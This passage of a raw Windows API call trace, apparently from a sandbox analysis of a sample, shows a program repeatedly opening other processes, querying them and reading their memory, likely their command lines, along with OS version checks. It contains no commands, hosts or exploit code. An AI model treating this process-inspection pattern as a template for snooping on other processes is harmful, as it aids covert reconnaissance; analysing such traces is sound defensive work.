nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0247.230] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5e1ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0247.230] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0247.231] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0247.232] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0247.232] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x3ab020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0247.232] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.233] malloc (_Size=0x6e) returned 0x20abc284f50 [0247.233] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5e195e, lpBuffer=0x20abc284f50, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0247.233] free (_Block=0x20abc284f50) [0247.234] CloseHandle (hObject=0x44c) returned 1 [0247.234] _ui64tow_s (in: _Value=0xf88, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3976") returned 0x0 [0247.238] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3976") returned 4 [0247.239] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.239] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0247.406] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf88) returned 0x44c [0247.406] GetLastError () returned 0x0 [0247.406] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0247.407] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x415018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0247.407] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0247.407] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x271c90, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0247.407] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x2718f8, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0247.408] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0247.410] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0247.410] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x415020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0247.410] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x2712e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.410] malloc (_Size=0x54) returned 0x20abc2aaa50 [0247.410] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x271944, lpBuffer=0x20abc2aaa50, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aaa50*, lpNumberOfBytesRead=0x0) returned 1 [0247.411] free (_Block=0x20abc2aaa50) [0247.412] CloseHandle (hObject=0x44c) returned 1 [0247.412] _ui64tow_s (in: _Value=0xf90, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3984") returned 0x0 [0247.417] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3984") returned 4 [0247.419] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.419] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0247.644] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf90) returned 0x44c [0247.645] GetLastError () returned 0x0 [0247.645] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0247.645] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x380018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0247.646] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0247.646] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x501cc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0247.646] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5018f8, lpBuffer=0x2dc24fc2d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0247.647] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0247.648] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0247.648] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x380020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0247.648] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5012e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.649] malloc (_Size=0x64) returned 0x20abc2801b0 [0247.649] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x501954, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0247.649] free (_Block=0x20abc2801b0) [0247.650] CloseHandle (hObject=0x44c) returned 1 [0247.650] _ui64tow_s (in: _Value=0xf9c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3996") returned 0x0 [0247.654] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3996") returned 4 [0247.655] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.655] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0247.669] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf9c) returned 0x44c [0247.669] GetLastError () returned 0x0 [0247.670] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0247.670] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x3fc018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0247.670] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0247.670] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x521cf0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0247.670] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc24fc2d0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0247.671] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0247.673] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0247.673] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x3fc020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0247.673] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.673] malloc (_Size=0x72) returned 0x20abc284f50 [0247.673] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x521962, lpBuffer=0x20abc284f50, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0247.674] free (_Block=0x20abc284f50) [0247.674] CloseHandle (hObject=0x44c) returned 1 [0247.675] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0247.679] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4016") returned 4 [0247.831] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.831] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0247.847] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x44c [0247.847] GetLastError () returned 0x0 [0247.848] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0247.848] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x211018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0247.848] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0247.848] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x581d60, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0247.849] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x581958, lpBuffer=0x2dc24fc2d0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0247.850] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0247.851] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0247.851] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x211020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0247.852] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x581340, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.852] malloc (_Size=0x78) returned 0x20abc282120 [0247.852] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5819c8, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0247.853] free (_Block=0x20abc282120) [0247.854] CloseHandle (hObject=0x44c) returned 1 [0247.854] _ui64tow_s (in: _Value=0xfb8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4024") returned 0x0 [0247.859] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4024") returned 4 [0247.860] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.860] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0248.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb8) returned 0x44c [0248.016] GetLastError () returned 0x0 [0248.017] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0248.017] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x214018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0248.018] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0248.018] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x451cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0248.018] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0248.019] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0248.021] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0248.021] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x214020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0248.021] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.021] malloc (_Size=0x6a) returned 0x20abc284f50 [0248.022] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x45195a, lpBuffer=0x20abc284f50, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0248.023] free (_Block=0x20abc284f50) [0248.024] CloseHandle (hObject=0x44c) returned 1 [0248.025] _ui64tow_s (in: _Value=0xfc4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4036") returned 0x0 [0248.029] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4036") returned 4 [0248.031] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.031] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0248.272] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc4) returned 0x460 [0248.272] GetLastError () returned 0x0 [0248.273] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0248.273] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x377018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0248.274] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0248.274] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x551cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0248.274] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5518f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0248.275] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0248.277] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0248.277] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x377020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0248.277] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.277] malloc (_Size=0x6a) returned 0x20abc284f50 [0248.277] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x55195a, lpBuffer=0x20abc284f50, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0248.278] free (_Block=0x20abc284f50) [0248.279] CloseHandle (hObject=0x460) returned 1 [0248.279] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0248.283] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4052") returned 4 [0248.284] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.285] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0248.302] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x460 [0248.302] GetLastError () returned 0x0 [0248.303] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0248.303] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2a5018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0248.304] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0248.304] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x451cf0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0248.304] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4518f8, lpBuffer=0x2dc24fc2d0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0248.478] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0248.480] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0248.480] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x2a5020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0248.480] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4512e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.480] malloc (_Size=0x74) returned 0x20abc284f50 [0248.480] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x451964, lpBuffer=0x20abc284f50, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0248.481] free (_Block=0x20abc284f50) [0248.482] CloseHandle (hObject=0x460) returned 1 [0248.482] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0248.486] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4060") returned 4 [0248.487] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: 